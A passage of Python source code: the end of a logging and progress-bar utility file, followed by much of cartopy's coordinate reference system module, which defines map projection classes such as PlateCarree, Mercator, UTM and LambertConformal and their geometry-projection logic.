numpy.ma.masked_where(abs(Series-numpy.float64(c.missing_value))<c.eps,Series) return Series, WasND def SetUnitsInds(ds, ThisOne, units): ds.series[ThisOne]['Attr']['units'] = units def startlog(loggername,loggerfile): logger = logging.getLogger(loggername) logger.setLevel(logging.DEBUG) fh = logging.FileHandler(loggerfile) fh.setLevel(logging.DEBUG) ch = logging.StreamHandler() ch.setLevel(logging.INFO) formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s', '%H:%M:%S') #formatter = logging.Formatter('%(asctime)s %(name)-8s %(levelname)-6s %(message)s', '%d-%m-%y %H:%M') fh.setFormatter(formatter) ch.setFormatter(formatter) logger.addHandler(fh) logger.addHandler(ch) return logger def UpdateGlobalAttributes(cf,ds,level): ds.globalattributes["nc_level"] = str(level) ds.globalattributes["EPDversion"] = sys.version # put the control file name into the global attributes ds.globalattributes["controlfile_name"] = cf["controlfile_name"] if "Global" in cf: for item in cf["Global"].keys(): if item not in ds.globalattributes.keys(): ds.globalattributes[item] = cf["Global"][item].replace("\n"," ").replace("\r","") def update_progress(progress): barLength = 50 # Modify this to change the length of the progress bar status = "" if isinstance(progress, int): progress = float(progress) if not isinstance(progress, float): progress = 0 status = "error: progress var must be float\r\n" if progress < 0: progress = 0 status = "Halt...\r\n" if progress >= 1: progress = 1 status = "Done...\r\n" block = int(round(barLength*progress)) progress = round(progress,2) text = "\rPercent: [{0}] {1}% {2}".format( "#"*block + "-"*(barLength-block), progress*100, status) sys.stdout.write(text) sys.stdout.flush()
codeparrot/github-code-clean
# (C) British Crown Copyright 2011 - 2019, Met Office # # This file is part of cartopy. # # cartopy is free software: you can redistribute it and/or modify it under # the terms of the GNU Lesser General Public License as published by the # Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # cartopy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with cartopy. If not, see <https://www.gnu.org/licenses/>. """ The crs module defines Coordinate Reference Systems and the transformations between them. """ from __future__ import (absolute_import, division, print_function) from abc import ABCMeta, abstractproperty import math import warnings import numpy as np import shapely.geometry as sgeom from shapely.prepared import prep import six from cartopy._crs import (CRS, Geodetic, Globe, PROJ4_VERSION, WGS84_SEMIMAJOR_AXIS, WGS84_SEMIMINOR_AXIS) from cartopy._crs import Geocentric # noqa: F401 (flake8 = unused import) import cartopy.trace __document_these__ = ['CRS', 'Geocentric', 'Geodetic', 'Globe'] class RotatedGeodetic(CRS): """ Define a rotated latitude/longitude coordinate system with spherical topology and geographical distance. Coordinates are measured in degrees. The class uses proj to perform an ob_tran operation, using the pole_longitude to set a lon_0 then performing two rotations based on pole_latitude and central_rotated_longitude. This is equivalent to setting the new pole to a location defined by the pole_latitude and pole_longitude values in the GeogCRS defined by globe, then rotating this new CRS about it's pole using the central_rotated_longitude value. """ def __init__(self, pole_longitude, pole_latitude, central_rotated_longitude=0.0, globe=None): """ Parameters ---------- pole_longitude Pole longitude position, in unrotated degrees. pole_latitude Pole latitude position, in unrotated degrees. central_rotated_longitude: optional Longitude rotation about the new pole, in degrees. Defaults to 0. globe: optional A :class:`cartopy.crs.Globe`. Defaults to a "WGS84" datum. """ proj4_params = [('proj', 'ob_tran'), ('o_proj', 'latlon'), ('o_lon_p', central_rotated_longitude), ('o_lat_p', pole_latitude), ('lon_0', 180 + pole_longitude), ('to_meter', math.radians(1))] globe = globe or Globe(datum='WGS84') super(RotatedGeodetic, self).__init__(proj4_params, globe=globe) class Projection(six.with_metaclass(ABCMeta, CRS)): """ Define a projected coordinate system with flat topology and Euclidean distance. """ _method_map = { 'Point': '_project_point', 'LineString': '_project_line_string', 'LinearRing': '_project_linear_ring', 'Polygon': '_project_polygon', 'MultiPoint': '_project_multipoint', 'MultiLineString': '_project_multiline', 'MultiPolygon': '_project_multipolygon', } @abstractproperty def boundary(self): pass @abstractproperty def threshold(self): pass @abstractproperty def x_limits(self): pass @abstractproperty def y_limits(self): pass @property def cw_boundary(self): try: boundary = self._cw_boundary except AttributeError: boundary = sgeom.LinearRing(self.boundary) self._cw_boundary = boundary return boundary @property def ccw_boundary(self): try: boundary = self._ccw_boundary except AttributeError: boundary = sgeom.LinearRing(self.boundary.coords[::-1]) self._ccw_boundary = boundary return boundary @property def domain(self): try: domain = self._domain except AttributeError: domain = self._domain = sgeom.Polygon(self.boundary) return domain def _determine_longitude_bounds(self, central_longitude): # In new proj, using exact limits will wrap-around, so subtract a # small epsilon: epsilon = 1e-10 minlon = -180 + central_longitude maxlon = 180 + central_longitude if central_longitude > 0: maxlon -= epsilon elif central_longitude < 0: minlon += epsilon return minlon, maxlon def _repr_html_(self): if not six.PY2: from html import escape else: from cgi import escape try: # As matplotlib is not a core cartopy dependency, don't error # if it's not available. import matplotlib.pyplot as plt except ImportError: # We can't return an SVG of the CRS, so let Jupyter fall back to # a default repr by returning None. return None # Produce a visual repr of the Projection instance. fig, ax = plt.subplots(figsize=(5, 3), subplot_kw={'projection': self}) ax.set_global() ax.coastlines('auto') ax.gridlines() buf = six.StringIO() fig.savefig(buf, format='svg', bbox_inches='tight') plt.close(fig) # "Rewind" the buffer to the start and return it as an svg string. buf.seek(0) svg = buf.read() return '{}<pre>{}</pre>'.format(svg, escape(repr(self))) def _as_mpl_axes(self): import cartopy.mpl.geoaxes as geoaxes return geoaxes.GeoAxes, {'map_projection': self} def project_geometry(self, geometry, src_crs=None): """ Project the given geometry into this projection. Parameters ---------- geometry The geometry to (re-)project. src_crs: optional The source CRS. Defaults to None. If src_crs is None, the source CRS is assumed to be a geodetic version of the target CRS. Returns ------- geometry The projected result (a shapely geometry). """ if src_crs is None: src_crs = self.as_geodetic() elif not isinstance(src_crs, CRS): raise TypeError('Source CRS must be an instance of CRS' ' or one of its subclasses, or None.') geom_type = geometry.geom_type method_name = self._method_map.get(geom_type) if not method_name: raise ValueError('Unsupported geometry ' 'type {!r}'.format(geom_type)) return getattr(self, method_name)(geometry, src_crs) def _project_point(self, point, src_crs): return sgeom.Point(*self.transform_point(point.x, point.y, src_crs)) def _project_line_string(self, geometry, src_crs): return cartopy.trace.project_linear(geometry, src_crs, self) def _project_linear_ring(self, linear_ring, src_crs): """ Project the given LinearRing from the src_crs into this CRS and returns a list of LinearRings and a single MultiLineString. """ debug = False # 1) Resolve the initial lines into projected segments # 1abc # def23ghi # jkl41 multi_line_string = cartopy.trace.project_linear(linear_ring, src_crs, self) # Threshold for whether a point is close enough to be the same # point as another. threshold = max(np.abs(self.x_limits + self.y_limits)) * 1e-5 # 2) Simplify the segments where appropriate. if len(multi_line_string) > 1: # Stitch together segments which are close to continuous. # This is important when: # 1) The first source point projects into the map and the # ring has been cut by the boundary. # Continuing the example from above this gives: # def23ghi # jkl41abc # 2) The cut ends of segments are too close to reliably # place into an order along the boundary. line_strings = list(multi_line_string) any_modified = False i = 0 if debug: first_coord = np.array([ls.coords[0] for ls in line_strings]) last_coord = np.array([ls.coords[-1] for ls in line_strings]) print('Distance matrix:') np.set_printoptions(precision=2) x = first_coord[:, np.newaxis, :] y = last_coord[np.newaxis, :, :] print(np.abs(x - y).max(axis=-1)) while i < len(line_strings): modified = False j = 0 while j < len(line_strings): if i != j and np.allclose(line_strings[i].coords[0], line_strings[j].coords[-1], atol=threshold): if debug: print('Joining together {} and {}.'.format(i, j)) last_coords = list(line_strings[j].coords) first_coords = list(line_strings[i].coords)[1:] combo = sgeom.LineString(last_coords + first_coords) if j < i: i, j = j, i del line_strings[j], line_strings[i] line_strings.append(combo) modified = True any_modified = True break else: j += 1 if not modified: i += 1 if any_modified: multi_line_string = sgeom.MultiLineString(line_strings) # 3) Check for rings that have been created by the projection stage. rings = [] line_strings = [] for line in multi_line_string: if len(line.coords) > 3 and np.allclose(line.coords[0], line.coords[-1], atol=threshold): result_geometry = sgeom.LinearRing(line.coords[:-1]) rings.append(result_geometry) else: line_strings.append(line) # If we found any rings, then we should re-create the multi-line str. if rings: multi_line_string = sgeom.MultiLineString(line_strings) return rings, multi_line_string def _project_multipoint(self, geometry, src_crs): geoms = [] for geom in geometry.geoms: geoms.append(self._project_point(geom, src_crs)) if geoms: return sgeom.MultiPoint(geoms) else: return sgeom.MultiPoint() def _project_multiline(self, geometry, src_crs): geoms = [] for geom in geometry.geoms: r = self._project_line_string(geom, src_crs) if r: geoms.extend(r.geoms) if geoms: return sgeom.MultiLineString(geoms) else: return [] def _project_multipolygon(self, geometry, src_crs): geoms = [] for geom in geometry.geoms: r = self._project_polygon(geom, src_crs) if r: geoms.extend(r.geoms) if geoms: result = sgeom.MultiPolygon(geoms) else: result = sgeom.MultiPolygon() return result def _project_polygon(self, polygon, src_crs): """ Return the projected polygon(s) derived from the given polygon. """ # Determine orientation of polygon. # TODO: Consider checking the internal rings have the opposite # orientation to the external rings? if src_crs.is_geodetic(): is_ccw = True else: is_ccw = polygon.exterior.is_ccw # Project the polygon exterior/interior rings. # Each source ring will result in either a ring, or one or more # lines. rings = [] multi_lines = [] for src_ring in [polygon.exterior] + list(polygon.interiors): p_rings, p_mline = self._project_linear_ring(src_ring, src_crs) if p_rings: rings.extend(p_rings) if len(p_mline) > 0: multi_lines.append(p_mline) # Convert any lines to rings by attaching them to the boundary. if multi_lines: rings.extend(self._attach_lines_to_boundary(multi_lines, is_ccw)) # Resolve all the inside vs. outside rings, and convert to the # final MultiPolygon. return self._rings_to_multi_polygon(rings, is_ccw) def _attach_lines_to_boundary(self, multi_line_strings, is_ccw): """ Return a list of LinearRings by attaching the ends of the given lines to the boundary, paying attention to the traversal directions of the lines and boundary. """ debug = False debug_plot_edges = False # Accumulate all the boundary and segment end points, along with # their distance along the boundary. edge_things = [] # Get the boundary as a LineString of the correct orientation # so we can compute distances along it. if is_ccw: boundary = self.ccw_boundary else: boundary = self.cw_boundary def boundary_distance(xy): return boundary.project(sgeom.Point(*xy)) # Squash all the LineStrings into a single list. line_strings = [] for multi_line_string in multi_line_strings: line_strings.extend(multi_line_string) # Record the positions of all the segment ends for i, line_string in enumerate(line_strings): first_dist = boundary_distance(line_string.coords[0]) thing = _BoundaryPoint(first_dist, False, (i, 'first', line_string.coords[0])) edge_things.append(thing) last_dist = boundary_distance(line_string.coords[-1]) thing = _BoundaryPoint(last_dist, False, (i, 'last', line_string.coords[-1])) edge_things.append(thing) # Record the positions of all the boundary vertices for xy in boundary.coords[:-1]: point = sgeom.Point(*xy) dist = boundary.project(point) thing = _BoundaryPoint(dist, True, point) edge_things.append(thing) if debug_plot_edges: import matplotlib.pyplot as plt current_fig = plt.gcf() fig = plt.figure() # Reset the current figure so we don't upset anything. plt.figure(current_fig.number) ax = fig.add_subplot(1, 1, 1) # Order everything as if walking around the boundary. # NB. We make line end-points take precedence over boundary points # to ensure that end-points are still found and followed when they # coincide. edge_things.sort(key=lambda thing: (thing.distance, thing.kind)) remaining_ls = dict(enumerate(line_strings)) prev_thing = None for edge_thing in edge_things[:]: if (prev_thing is not None and not edge_thing.kind and not prev_thing.kind and edge_thing.data[0] == prev_thing.data[0]): j = edge_thing.data[0] # Insert a edge boundary point in between this geometry. mid_dist = (edge_thing.distance + prev_thing.distance) * 0.5 mid_point = boundary.interpolate(mid_dist) new_thing = _BoundaryPoint(mid_dist, True, mid_point) if debug: print('Artificially insert boundary: {}'.format(new_thing)) ind = edge_things.index(edge_thing) edge_things.insert(ind, new_thing) prev_thing = None else: prev_thing = edge_thing if debug: print() print('Edge things') for thing in edge_things: print(' ', thing) if debug_plot_edges: for thing in edge_things: if isinstance(thing.data, sgeom.Point): ax.plot(*thing.data.xy, marker='o') else: ax.plot(*thing.data[2], marker='o') ls = line_strings[thing.data[0]] coords = np.array(ls.coords) ax.plot(coords[:, 0], coords[:, 1]) ax.text(coords[0, 0], coords[0, 1], thing.data[0]) ax.text(coords[-1, 0], coords[-1, 1], '{}.'.format(thing.data[0])) def filter_last(t): return t.kind or t.data[1] == 'first' edge_things = list(filter(filter_last, edge_things)) processed_ls = [] while remaining_ls: # Rename line_string to current_ls i, current_ls = remaining_ls.popitem() if debug: import sys sys.stdout.write('+') sys.stdout.flush() print() print('Processing: %s, %s' % (i, current_ls)) added_linestring = set() while True: # Find out how far around this linestring's last # point is on the boundary. We will use this to find # the next point on the boundary. d_last = boundary_distance(current_ls.coords[-1]) if debug: print(' d_last: {!r}'.format(d_last)) next_thing = _find_first_ge(edge_things, d_last) # Remove this boundary point from the edge. edge_things.remove(next_thing) if debug: print(' next_thing:', next_thing) if next_thing.kind: # We've just got a boundary point, add it, and keep going. if debug: print(' adding boundary point') boundary_point = next_thing.data combined_coords = (list(current_ls.coords) + [(boundary_point.x, boundary_point.y)]) current_ls = sgeom.LineString(combined_coords) elif next_thing.data[0] == i: # We've gone all the way around and are now back at the # first boundary thing. if debug: print(' close loop') processed_ls.append(current_ls) if debug_plot_edges: coords = np.array(current_ls.coords) ax.plot(coords[:, 0], coords[:, 1], color='black', linestyle='--') break else: if debug: print(' adding line') j = next_thing.data[0] line_to_append = line_strings[j] if j in remaining_ls: remaining_ls.pop(j) coords_to_append = list(line_to_append.coords) # Build up the linestring. current_ls = sgeom.LineString((list(current_ls.coords) + coords_to_append)) # Catch getting stuck in an infinite loop by checking that # linestring only added once. if j not in added_linestring: added_linestring.add(j) else: if debug_plot_edges: plt.show() raise RuntimeError('Unidentified problem with ' 'geometry, linestring being ' 're-added. Please raise an issue.') # filter out any non-valid linear rings linear_rings = [ sgeom.LinearRing(linear_ring) for linear_ring in processed_ls if len(linear_ring.coords) > 2 and linear_ring.is_valid] if debug: print(' DONE') return linear_rings def _rings_to_multi_polygon(self, rings, is_ccw): exterior_rings = [] interior_rings = [] for ring in rings: if ring.is_ccw != is_ccw: interior_rings.append(ring) else: exterior_rings.append(ring) polygon_bits = [] # Turn all the exterior rings into polygon definitions, # "slurping up" any interior rings they contain. for exterior_ring in exterior_rings: polygon = sgeom.Polygon(exterior_ring) prep_polygon = prep(polygon) holes = [] for interior_ring in interior_rings[:]: if prep_polygon.contains(interior_ring): holes.append(interior_ring) interior_rings.remove(interior_ring) elif polygon.crosses(interior_ring): # Likely that we have an invalid geometry such as # that from #509 or #537. holes.append(interior_ring) interior_rings.remove(interior_ring) polygon_bits.append((exterior_ring.coords, [ring.coords for ring in holes])) # Any left over "interior" rings need "inverting" with respect # to the boundary. if interior_rings: boundary_poly = self.domain x3, y3, x4, y4 = boundary_poly.bounds bx = (x4 - x3) * 0.1 by = (y4 - y3) * 0.1 x3 -= bx y3 -= by x4 += bx y4 += by for ring in interior_rings: # Use shapely buffer in an attempt to fix invalid geometries polygon = sgeom.Polygon(ring).buffer(0) if not polygon.is_empty and polygon.is_valid: x1, y1, x2, y2 = polygon.bounds bx = (x2 - x1) * 0.1 by = (y2 - y1) * 0.1 x1 -= bx y1 -= by x2 += bx y2 += by box = sgeom.box(min(x1, x3), min(y1, y3), max(x2, x4), max(y2, y4)) # Invert the polygon polygon = box.difference(polygon) # Intersect the inverted polygon with the boundary polygon = boundary_poly.intersection(polygon) if not polygon.is_empty: polygon_bits.append(polygon) if polygon_bits: multi_poly = sgeom.MultiPolygon(polygon_bits) else: multi_poly = sgeom.MultiPolygon() return multi_poly def quick_vertices_transform(self, vertices, src_crs): """ Where possible, return a vertices array transformed to this CRS from the given vertices array of shape ``(n, 2)`` and the source CRS. Note ---- This method may return None to indicate that the vertices cannot be transformed quickly, and a more complex geometry transformation is required (see :meth:`cartopy.crs.Projection.project_geometry`). """ return_value = None if self == src_crs: x = vertices[:, 0] y = vertices[:, 1] # Extend the limits a tiny amount to allow for precision mistakes epsilon = 1.e-10 x_limits = (self.x_limits[0] - epsilon, self.x_limits[1] + epsilon) y_limits = (self.y_limits[0] - epsilon, self.y_limits[1] + epsilon) if (x.min() >= x_limits[0] and x.max() <= x_limits[1] and y.min() >= y_limits[0] and y.max() <= y_limits[1]): return_value = vertices return return_value class _RectangularProjection(six.with_metaclass(ABCMeta, Projection)): """ The abstract superclass of projections with a rectangular domain which is symmetric about the origin. """ def __init__(self, proj4_params, half_width, half_height, globe=None): self._half_width = half_width self._half_height = half_height super(_RectangularProjection, self).__init__(proj4_params, globe=globe) @property def boundary(self): w, h = self._half_width, self._half_height return sgeom.LinearRing([(-w, -h), (-w, h), (w, h), (w, -h), (-w, -h)]) @property def x_limits(self): return (-self._half_width, self._half_width) @property def y_limits(self): return (-self._half_height, self._half_height) class _CylindricalProjection(six.with_metaclass(ABCMeta, _RectangularProjection)): """ The abstract class which denotes cylindrical projections where we want to allow x values to wrap around. """ def _ellipse_boundary(semimajor=2, semiminor=1, easting=0, northing=0, n=201): """ Define a projection boundary using an ellipse. This type of boundary is used by several projections. """ t = np.linspace(0, -2 * np.pi, n) # Clockwise boundary. coords = np.vstack([semimajor * np.cos(t), semiminor * np.sin(t)]) coords += ([easting], [northing]) return coords class PlateCarree(_CylindricalProjection): def __init__(self, central_longitude=0.0, globe=None): proj4_params = [('proj', 'eqc'), ('lon_0', central_longitude)] if globe is None: globe = Globe(semimajor_axis=math.degrees(1)) a_rad = math.radians(globe.semimajor_axis or WGS84_SEMIMAJOR_AXIS) x_max = a_rad * 180 y_max = a_rad * 90 # Set the threshold around 0.5 if the x max is 180. self._threshold = x_max / 360. super(PlateCarree, self).__init__(proj4_params, x_max, y_max, globe=globe) @property def threshold(self): return self._threshold def _bbox_and_offset(self, other_plate_carree): """ Return a pair of (xmin, xmax) pairs and an offset which can be used for identification of whether data in ``other_plate_carree`` needs to be transformed to wrap appropriately. >>> import cartopy.crs as ccrs >>> src = ccrs.PlateCarree(central_longitude=10) >>> bboxes, offset = ccrs.PlateCarree()._bbox_and_offset(src) >>> print(bboxes) [[-180.0, -170.0], [-170.0, 180.0]] >>> print(offset) 10.0 The returned values are longitudes in ``other_plate_carree``'s coordinate system. Warning ------- The two CRSs must be identical in every way, other than their central longitudes. No checking of this is done. """ self_lon_0 = self.proj4_params['lon_0'] other_lon_0 = other_plate_carree.proj4_params['lon_0'] lon_0_offset = other_lon_0 - self_lon_0 lon_lower_bound_0 = self.x_limits[0] lon_lower_bound_1 = (other_plate_carree.x_limits[0] + lon_0_offset) if lon_lower_bound_1 < self.x_limits[0]: lon_lower_bound_1 += np.diff(self.x_limits)[0] lon_lower_bound_0, lon_lower_bound_1 = sorted( [lon_lower_bound_0, lon_lower_bound_1]) bbox = [[lon_lower_bound_0, lon_lower_bound_1], [lon_lower_bound_1, lon_lower_bound_0]] bbox[1][1] += np.diff(self.x_limits)[0] return bbox, lon_0_offset def quick_vertices_transform(self, vertices, src_crs): return_value = super(PlateCarree, self).quick_vertices_transform(vertices, src_crs) # Optimise the PlateCarree -> PlateCarree case where no # wrapping or interpolation needs to take place. if return_value is None and isinstance(src_crs, PlateCarree): self_params = self.proj4_params.copy() src_params = src_crs.proj4_params.copy() self_params.pop('lon_0'), src_params.pop('lon_0') xs, ys = vertices[:, 0], vertices[:, 1] potential = (self_params == src_params and self.y_limits[0] <= ys.min() and self.y_limits[1] >= ys.max()) if potential: mod = np.diff(src_crs.x_limits)[0] bboxes, proj_offset = self._bbox_and_offset(src_crs) x_lim = xs.min(), xs.max() for poly in bboxes: # Arbitrarily choose the number of moduli to look # above and below the -180->180 range. If data is beyond # this range, we're not going to transform it quickly. for i in [-1, 0, 1, 2]: offset = mod * i - proj_offset if ((poly[0] + offset) <= x_lim[0] and (poly[1] + offset) >= x_lim[1]): return_value = vertices + [[-offset, 0]] break if return_value is not None: break return return_value class TransverseMercator(Projection): """ A Transverse Mercator projection. """ def __init__(self, central_longitude=0.0, central_latitude=0.0, false_easting=0.0, false_northing=0.0, scale_factor=1.0, globe=None, approx=None): """ Parameters ---------- central_longitude: optional The true longitude of the central meridian in degrees. Defaults to 0. central_latitude: optional The true latitude of the planar origin in degrees. Defaults to 0. false_easting: optional X offset from the planar origin in metres. Defaults to 0. false_northing: optional Y offset from the planar origin in metres. Defaults to 0. scale_factor: optional Scale factor at the central meridian. Defaults to 1. globe: optional An instance of :class:`cartopy.crs.Globe`. If omitted, a default globe is created. approx: optional Whether to use Proj's approximate projection (True), or the new Extended Transverse Mercator code (False). Defaults to True, but will change to False in the next release. """ if approx is None: warnings.warn('The default value for the *approx* keyword ' 'argument to TransverseMercator will change ' 'from True to False after 0.18.', stacklevel=2) approx = True proj4_params = [('proj', 'tmerc'), ('lon_0', central_longitude), ('lat_0', central_latitude), ('k', scale_factor), ('x_0', false_easting), ('y_0', false_northing), ('units', 'm')] if PROJ4_VERSION < (6, 0, 0): if not approx: proj4_params[0] = ('proj', 'etmerc') else: if approx: proj4_params += [('approx', None)] super(TransverseMercator, self).__init__(proj4_params, globe=globe) @property def threshold(self): return 1e4 @property def boundary(self): x0, x1 = self.x_limits y0, y1 = self.y_limits return sgeom.LinearRing([(x0, y0), (x0, y1), (x1, y1), (x1, y0), (x0, y0)]) @property def x_limits(self): return (-2e7, 2e7) @property def y_limits(self): return (-1e7, 1e7) class OSGB(TransverseMercator): def __init__(self, approx=None): if approx is None: warnings.warn('The default value for the *approx* keyword ' 'argument to OSGB will change from True to ' 'False after 0.18.', stacklevel=2) approx = True super(OSGB, self).__init__(central_longitude=-2, central_latitude=49, scale_factor=0.9996012717, false_easting=400000, false_northing=-100000, globe=Globe(datum='OSGB36', ellipse='airy'), approx=approx) @property def boundary(self): w = self.x_limits[1] - self.x_limits[0] h = self.y_limits[1] - self.y_limits[0] return sgeom.LinearRing([(0, 0), (0, h), (w, h), (w, 0), (0, 0)]) @property def x_limits(self): return (0, 7e5) @property def y_limits(self): return (0, 13e5) class OSNI(TransverseMercator): def __init__(self, approx=None): if approx is None: warnings.warn('The default value for the *approx* keyword ' 'argument to OSNI will change from True to ' 'False after 0.18.', stacklevel=2) approx = True globe = Globe(semimajor_axis=6377340.189, semiminor_axis=6356034.447938534) super(OSNI, self).__init__(central_longitude=-8, central_latitude=53.5, scale_factor=1.000035, false_easting=200000, false_northing=250000, globe=globe, approx=approx) @property def boundary(self): w = self.x_limits[1] - self.x_limits[0] h = self.y_limits[1] - self.y_limits[0] return sgeom.LinearRing([(0, 0), (0, h), (w, h), (w, 0), (0, 0)]) @property def x_limits(self): return (18814.9667, 386062.3293) @property def y_limits(self): return (11764.8481, 464720.9559) class UTM(Projection): """ Universal Transverse Mercator projection. """ def __init__(self, zone, southern_hemisphere=False, globe=None): """ Parameters ---------- zone The numeric zone of the UTM required. southern_hemisphere: optional Set to True if the zone is in the southern hemisphere. Defaults to False. globe: optional An instance of :class:`cartopy.crs.Globe`. If omitted, a default globe is created. """ proj4_params = [('proj', 'utm'), ('units', 'm'), ('zone', zone)] if southern_hemisphere: proj4_params.append(('south', None)) super(UTM, self).__init__(proj4_params, globe=globe) @property def boundary(self): x0, x1 = self.x_limits y0, y1 = self.y_limits return sgeom.LinearRing([(x0, y0), (x0, y1), (x1, y1), (x1, y0), (x0, y0)]) @property def threshold(self): return 1e2 @property def x_limits(self): easting = 5e5 # allow 50% overflow return (0 - easting/2, 2 * easting + easting/2) @property def y_limits(self): northing = 1e7 # allow 50% overflow return (0 - northing, 2 * northing + northing/2) class EuroPP(UTM): """ UTM Zone 32 projection for EuroPP domain. Ellipsoid is International 1924, Datum is ED50. """ def __init__(self): globe = Globe(ellipse='intl') super(EuroPP, self).__init__(32, globe=globe) @property def x_limits(self): return (-1.4e6, 2e6) @property def y_limits(self): return (4e6, 7.9e6) class Mercator(Projection): """ A Mercator projection. """ def __init__(self, central_longitude=0.0, min_latitude=-80.0, max_latitude=84.0, globe=None, latitude_true_scale=None, false_easting=0.0, false_northing=0.0, scale_factor=None): """ Parameters ---------- central_longitude: optional The central longitude. Defaults to 0. min_latitude: optional The maximum southerly extent of the projection. Defaults to -80 degrees. max_latitude: optional The maximum northerly extent of the projection. Defaults to 84 degrees. globe: A :class:`cartopy.crs.Globe`, optional If omitted, a default globe is created. latitude_true_scale: optional The latitude where the scale is 1. Defaults to 0 degrees. false_easting: optional X offset from the planar origin in metres. Defaults to 0. false_northing: optional Y offset from the planar origin in metres. Defaults to 0. scale_factor: optional Scale factor at natural origin. Defaults to unused. Notes ----- Only one of ``latitude_true_scale`` and ``scale_factor`` should be included. """ proj4_params = [('proj', 'merc'), ('lon_0', central_longitude), ('x_0', false_easting), ('y_0', false_northing), ('units', 'm')] # If it's None, we don't pass it to Proj4, in which case its default # of 0.0 will be used. if latitude_true_scale is not None: proj4_params.append(('lat_ts', latitude_true_scale)) if scale_factor is not None: if latitude_true_scale is not None: raise ValueError('It does not make sense to provide both ' '"scale_factor" and "latitude_true_scale". ') else: proj4_params.append(('k_0', scale_factor)) super(Mercator, self).__init__(proj4_params, globe=globe) # Calculate limits. minlon, maxlon = self._determine_longitude_bounds(central_longitude) limits = self.transform_points(Geodetic(), np.array([minlon, maxlon]), np.array([min_latitude, max_latitude])) self._x_limits = tuple(limits[..., 0]) self._y_limits = tuple(limits[..., 1]) self._threshold = min(np.diff(self.x_limits)[0] / 720, np.diff(self.y_limits)[0] / 360) def __eq__(self, other): res = super(Mercator, self).__eq__(other) if hasattr(other, "_y_limits") and hasattr(other, "_x_limits"): res = res and self._y_limits == other._y_limits and \ self._x_limits == other._x_limits return res def __ne__(self, other): return not self == other def __hash__(self): return hash((self.proj4_init, self._x_limits, self._y_limits)) @property def threshold(self): return self._threshold @property def boundary(self): x0, x1 = self.x_limits y0, y1 = self.y_limits return sgeom.LinearRing([(x0, y0), (x0, y1), (x1, y1), (x1, y0), (x0, y0)]) @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits # Define a specific instance of a Mercator projection, the Google mercator. Mercator.GOOGLE = Mercator(min_latitude=-85.0511287798066, max_latitude=85.0511287798066, globe=Globe(ellipse=None, semimajor_axis=WGS84_SEMIMAJOR_AXIS, semiminor_axis=WGS84_SEMIMAJOR_AXIS, nadgrids='@null')) # Deprecated form GOOGLE_MERCATOR = Mercator.GOOGLE class LambertCylindrical(_RectangularProjection): def __init__(self, central_longitude=0.0): proj4_params = [('proj', 'cea'), ('lon_0', central_longitude)] globe = Globe(semimajor_axis=math.degrees(1)) super(LambertCylindrical, self).__init__(proj4_params, 180, math.degrees(1), globe=globe) @property def threshold(self): return 0.5 class LambertConformal(Projection): """ A Lambert Conformal conic projection. """ def __init__(self, central_longitude=-96.0, central_latitude=39.0, false_easting=0.0, false_northing=0.0, secant_latitudes=None, standard_parallels=None, globe=None, cutoff=-30): """ Parameters ---------- central_longitude: optional The central longitude. Defaults to -96. central_latitude: optional The central latitude. Defaults to 39. false_easting: optional X offset from planar origin in metres. Defaults to 0. false_northing: optional Y offset from planar origin in metres. Defaults to 0. secant_latitudes: optional Secant latitudes. This keyword is deprecated in v0.12 and directly replaced by ``standard parallels``. Defaults to None. standard_parallels: optional Standard parallel latitude(s). Defaults to (33, 45). globe: optional A :class:`cartopy.crs.Globe`. If omitted, a default globe is created. cutoff: optional Latitude of map cutoff. The map extends to infinity opposite the central pole so we must cut off the map drawing before then. A value of 0 will draw half the globe. Defaults to -30. """ proj4_params = [('proj', 'lcc'), ('lon_0', central_longitude), ('lat_0', central_latitude), ('x_0', false_easting), ('y_0', false_northing)] if secant_latitudes and standard_parallels: raise TypeError('standard_parallels replaces secant_latitudes.') elif secant_latitudes is not None: warnings.warn('secant_latitudes has been deprecated in v0.12. ' 'The standard_parallels keyword can be used as a ' 'direct replacement.', DeprecationWarning, stacklevel=2) standard_parallels = secant_latitudes elif standard_parallels is None: # The default. Put this as a keyword arg default once # secant_latitudes is removed completely. standard_parallels = (33, 45) n_parallels = len(standard_parallels) if not 1 <= n_parallels <= 2: raise ValueError('1 or 2 standard parallels must be specified. ' 'Got {} ({})'.format(n_parallels, standard_parallels)) proj4_params.append(('lat_1', standard_parallels[0])) if n_parallels == 2: proj4_params.append(('lat_2', standard_parallels[1])) super(LambertConformal, self).__init__(proj4_params, globe=globe) # Compute whether this projection is at the "north pole" or the # "south pole" (after the central lon/lat have been taken into # account). if n_parallels == 1: plat = 90 if standard_parallels[0] > 0 else -90 else: # Which pole are the parallels closest to? That is the direction # that the cone converges. if abs(standard_parallels[0]) > abs(standard_parallels[1]): poliest_sec = standard_parallels[0] else: poliest_sec = standard_parallels[1] plat = 90 if poliest_sec > 0 else -90 self.cutoff = cutoff n = 91 lons = np.empty(n + 2) lats = np.full(n + 2, float(cutoff)) lons[0] = lons[-1] = 0 lats[0] = lats[-1] = plat if plat == 90: # Ensure clockwise lons[1:-1] = np.linspace(central_longitude + 180 - 0.001, central_longitude - 180 + 0.001, n) else: lons[1:-1] = np.linspace(central_longitude - 180 + 0.001, central_longitude + 180 - 0.001, n) points = self.transform_points(PlateCarree(), lons, lats) self._boundary = sgeom.LinearRing(points) mins = np.min(points, axis=0) maxs = np.max(points, axis=0) self._x_limits = mins[0], maxs[0] self._y_limits = mins[1], maxs[1] def __eq__(self, other): res = super(LambertConformal, self).__eq__(other) if hasattr(other, "cutoff"): res = res and self.cutoff == other.cutoff return res def __ne__(self, other): return not self == other def __hash__(self): return hash((self.proj4_init, self.cutoff)) @property def boundary(self): return self._boundary @property def threshold(self): return 1e5 @property def x_limits(self): return self._x_limits @property def y_limits(self): return self._y_limits class LambertAzimuthalEqualArea(Projection): """ A Lambert Azimuthal Equal-Area projection. """ def __init__(self, central_longitude=0.0, central_latitude=0.0, false_easting=0.0, false_northing=0.0, globe=None): """ Parameters ---------- central_longitude: optional The central longitude. Defaults to 0. central_latitude: optional The central latitude. Defaults to 0. false_easting: optional X offset from planar origin in metres. Defaults to 0. false_northing: optional Y offset from planar origin in metres. Defaults to 0. globe: optional A :class:`cartopy.crs.Globe`. If omitted, a default globe is created. """ proj4_params = 